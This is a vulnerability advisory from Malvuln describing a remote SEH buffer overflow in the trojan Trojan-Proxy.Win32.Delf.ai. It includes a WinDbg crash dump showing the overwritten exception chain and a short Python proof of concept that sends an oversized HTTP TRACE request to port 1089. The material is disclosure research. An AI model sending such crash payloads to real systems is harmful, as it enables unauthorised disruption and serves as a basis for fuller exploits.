Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1dd6eb39a388f4c8a3eaf248d86aaabc.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Trojan-Proxy.Win32.Delf.ai
Vulnerability: Remote SEH Buffer Overflow
Description: The malware listens on TCP port 1089. Attackers who can reach the infected system can send a specially crafted HTTP TRACE request to trigger a classic SEH buffer overflow.
Type: PE32
MD5: 1dd6eb39a388f4c8a3eaf248d86aaabc
Vuln ID: MVID-2021-0115
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 02/25/2021
Memory Dump:
(130c.874): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=00000354 esi=00000000 edi=00000002
eip=7710ed3c esp=0019c628 ebp=0019c668 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400 ret 14h
0:000> .ecxr
eax=00000000 ebx=0019fcf0 ecx=41414141 edx=00000354 esi=04281b2c edi=02740608
eip=0046d5fd esp=0019ccdc ebp=0019fce8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
Trojan_Proxy_Win32_Delf_ai_1dd6eb39a388f4c8a3eaf248d86aaabc+0x6d5fd:
0046d5fd 3b5104 cmp edx,dword ptr [ecx+4] ds:002b:41414145=????????
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
Trojan_Proxy_Win32_Delf_ai_1dd6eb39a388f4c8a3eaf248d86aaabc+6d5fd
0046d5fd 3b5104 cmp edx,dword ptr [ecx+4]
EXCEPTION_RECORD: 0019c82c -- (.exr 0x19c82c)
ExceptionAddress: 0046d5fd (Trojan_Proxy_Win32_Delf_ai_1dd6eb39a388f4c8a3eaf248d86aaabc+0x0006d5fd)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414145
Attempt to read from address 41414145
PROCESS_NAME: Trojan-Proxy.Win32.Delf.ai.1dd6eb39a388f4c8a3eaf248d86aaabc.exe
ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_PARAMETER1: 00000015
MOD_LIST:
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
CONTEXT: 0019c87c -- (.cxr 0x19c87c)
eax=00000000 ebx=0019fcf0 ecx=41414141 edx=00000354 esi=04281b2c edi=02740608
eip=0046d5fd esp=0019ccdc ebp=0019fce8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
Trojan_Proxy_Win32_Delf_ai_1dd6eb39a388f4c8a3eaf248d86aaabc+0x6d5fd:
0046d5fd 3b5104 cmp edx,dword ptr [ecx+4] ds:002b:41414145=????????
Resetting default scope
READ_ADDRESS: 41414145
FOLLOWUP_IP:
Trojan_Proxy_Win32_Delf_ai_1dd6eb39a388f4c8a3eaf248d86aaabc+6d5fd
0046d5fd 3b5104 cmp edx,dword ptr [ecx+4]
FAULTING_THREAD: 00000874
BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at \bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
FRAME_ONE_INVALID: 1
LAST_CONTROL_TRANSFER: from 41414141 to 0046d5fd
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0019fce8 41414141 41414141 41414141 41414141 Trojan_Proxy_Win32_Delf_ai_1dd6eb39a388f4c8a3eaf248d86aaabc+0x6d5fd
0019fcec 41414141 41414141 41414141 41414141 0x41414141
0019fcf0 41414141 41414141 41414141 41414141 0x41414141
0019fcf4 41414141 41414141 41414141 41414141 0x41414141
0019fcf8 41414141 41414141 41414141 41414141 0x41414141
0019fcfc 41414141 41414141 41414141 41414141 0x41414141
0019fd00 41414141 41414141 41414141 41414141 0x41414141
0019fd04 41414141 41414141 41414141 41414141 0x41414141
0019fd08 41414141 41414141 41414141 41414141 0x41414141
0019fd0c 41414141 41414141 41414141 41414141 0x41414141
0019fd10 41414141 41414141 41414141 41414141 0x41414141
0019fd14 41414141 41414141 41414141 41414141 0x41414141
0019fd18 41414141 41414141 41414141 41414141 0x41414141
0019fd1c 41414141 41414141 41414141 41414141 0x41414141
0019fd20 41414141 41414141 41414141 41414141 0x41414141
0019fd24 41414141 41414141 41414141 41414141 0x41414141
0019fd28 41414141 41414141 41414141 41414141 0x41414141
0019fd2c 41414141 41414141 41414141 41414141 0x41414141
0019fd30 41414141 41414141 41414141 41414141 0x41414141
0019fd34 41414141 41414141 41414141 41414141 0x41414141
0019fd38 41414141 41414141 41414141 41414141 0x41414141
0019fd3c 41414141 41414141 41414141 41414141 0x41414141
0019fd40 41414141 41414141 41414141 41414141 0x41414141
0019fd44 41414141 41414141 41414141 41414141 0x41414141
0019fd48 41414141 41414141 41414141 41414141 0x41414141
0019fd4c 41414141 41414141 41414141 41414141 0x41414141
0019fd50 41414141 41414141 41414141 41414141 0x41414141
0019fd54 41414141 41414141 41414141 41414141 0x41414141
0019fd58 41414141 41414141 41414141 41414141 0x41414141
0019fd5c 41414141 41414141 41414141 41414141 0x41414141
0019fd60 41414141 41414141 41414141 41414141 0x41414141
0019fd64 41414141 41414141 41414141 41414141 0x41414141
0019fd68 41414141 41414141 41414141 41414141 0x41414141
0019fd6c 41414141 41414141 41414141 41414141 0x41414141
0019fd70 41414141 41414141 41414141 41414141 0x41414141
0019fd74 41414141 41414141 41414141 41414141 0x41414141
0019fd78 41414141 41414141 41414141 41414141 0x41414141
0019fd7c 41414141 41414141 41414141 41414141 0x41414141
0019fd80 41414141 41414141 41414141 41414141 0x41414141
0019fd84 41414141 41414141 41414141 41414141 0x41414141
0019fd88 41414141 41414141 41414141 41414141 0x41414141
0019fd8c 41414141 41414141 41414141 41414141 0x41414141
0019fd90 41414141 41414141 41414141 41414141 0x41414141
0019fd94 41414141 41414141 41414141 41414141 0x41414141
0019fd98 41414141 41414141 41414141 41414141 0x41414141
0019fd9c 41414141 41414141 41414141 41414141 0x41414141
0019fda0 41414141 41414141 41414141 41414141 0x41414141
0019fda4 41414141 41414141 41414141 41414141 0x41414141
0019fda8 41414141 41414141 41414141 41414141 0x41414141
0019fdac 41414141 41414141 41414141 41414141 0x41414141
0019fdb0 41414141 41414141 41414141 41414141 0x41414141
0019fdb4 41414141 41414141 41414141 41414141 0x41414141
0019fdb8 41414141 41414141 41414141 41414141 0x41414141
0019fdbc 41414141 41414141 41414141 41414141 0x41414141
0019fdc0 41414141 41414141 41414141 41414141 0x41414141
0019fdc4 41414141 41414141 41414141 41414141 0x41414141
0019fdc8 41414141 41414141 41414141 41414141 0x41414141
0019fdcc 41414141 41414141 41414141 41414141 0x41414141
0019fdd0 41414141 41414141 41414141 41414141 0x41414141
0019fdd4 41414141 41414141 41414141 41414141 0x41414141
0019fdd8 41414141 41414141 41414141 41414141 0x41414141
0019fddc 41414141 41414141 41414141 41414141 0x41414141
0019fde0 41414141 41414141 41414141 41414141 0x41414141
0019fde4 41414141 41414141 41414141 41414141 0x41414141
0019fde8 41414141 41414141 41414141 41414141 0x41414141
0019fdec 41414141 41414141 41414141 41414141 0x41414141
0019fdf0 41414141 41414141 41414141 41414141 0x41414141
0019fdf4 41414141 41414141 41414141 41414141 0x41414141
0019fdf8 41414141 41414141 41414141 41414141 0x41414141
0019fdfc 41414141 41414141 41414141 41414141 0x41414141
0019fe00 41414141 41414141 41414141 41414141 0x41414141
0019fe04 41414141 41414141 41414141 41414141 0x41414141
0019fe08 41414141 41414141 41414141 41414141 0x41414141
0019fe0c 41414141 41414141 41414141 41414141 0x41414141
0019fe10 41414141 41414141 41414141 41414141 0x41414141
0019fe14 41414141 41414141 41414141 41414141 0x41414141
0019fe18 41414141 41414141 41414141 41414141 0x41414141
0019fe1c 41414141 41414141 41414141 41414141 0x41414141
0019fe20 41414141 41414141 41414141 41414141 0x41414141
0019fe24 41414141 41414141 41414141 41414141 0x41414141
0019fe28 41414141 41414141 41414141 41414141 0x41414141
0019fe2c 41414141 41414141 41414141 41414141 0x41414141
0019fe30 41414141 41414141 41414141 41414141 0x41414141
0019fe34 41414141 41414141 41414141 41414141 0x41414141
0019fe38 41414141 41414141 41414141 41414141 0x41414141
0019fe3c 41414141 41414141 41414141 41414141 0x41414141
0019fe40 41414141 41414141 41414141 41414141 0x41414141
0019fe44 41414141 41414141 41414141 41414141 0x41414141
0019fe48 41414141 41414141 41414141 41414141 0x41414141
0019fe4c 41414141 41414141 41414141 41414141 0x41414141
0019fe50 41414141 41414141 41414141 41414141 0x41414141
0019fe54 41414141 41414141 41414141 41414141 0x41414141
0019fe58 41414141 41414141 41414141 41414141 0x41414141
0019fe5c 41414141 41414141 41414141 41414141 0x41414141
0019fe60 41414141 41414141 41414141 41414141 0x41414141
0019fe64 41414141 41414141 41414141 41414141 0x41414141
0019ff64 00476624 00305000 0019ff84 0019ffcc 0x41414141
0019ff80 76198654 00305000 76198630 c9f880b0 Trojan_Proxy_Win32_Delf_ai_1dd6eb39a388f4c8a3eaf248d86aaabc+0x76624
0019ff94 77104a77 00305000 638bd063 00000000 kernel32!BaseThreadInitThunk+0x24
0019ffdc 77104a47 ffffffff 77129ebe 00000000 ntdll!__RtlUserThreadStart+0x2f
0019ffec 00000000 004cd001 00305000 00000000 ntdll!_RtlUserThreadStart+0x1b
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: Trojan_Proxy_Win32_Delf_ai_1dd6eb39a388f4c8a3eaf248d86aaabc+6d5fd
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Trojan_Proxy_Win32_Delf_ai_1dd6eb39a388f4c8a3eaf248d86aaabc
IMAGE_NAME: Trojan-Proxy.Win32.Delf.ai.1dd6eb39a388f4c8a3eaf248d86aaabc.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19
STACK_COMMAND: .cxr 0x19c87c ; kb
FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141_c0000409_Trojan-Proxy.Win32.Delf.ai.1dd6eb39a388f4c8a3eaf248d86aaabc.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_MISSING_GSFRAME_Trojan_Proxy_Win32_Delf_ai_1dd6eb39a388f4c8a3eaf248d86aaabc+6d5fd
Followup: MachineOwner
---------
0:000> !exchain
0019c6e0: ntdll!_except_handler4+0 (77116a50)
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (771557ad)
0019ccdc: Trojan_Proxy_Win32_Delf_ai_1dd6eb39a388f4c8a3eaf248d86aaabc+6e67c (0046e67c)
0019fd30: 41414141
Invalid exception stack at 41414141
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=1089
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PBARBAR = "TRACE /"+"A"*6594+"HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PBARBAR)
s.close()
print("Trojan-Proxy.Win32.Delf.ai / Remote SEH Buffer Overflow")
print("MD5: 1dd6eb39a388f4c8a3eaf248d86aaabc")
print("By Malvuln");
if __name__=="__main__":
doit()
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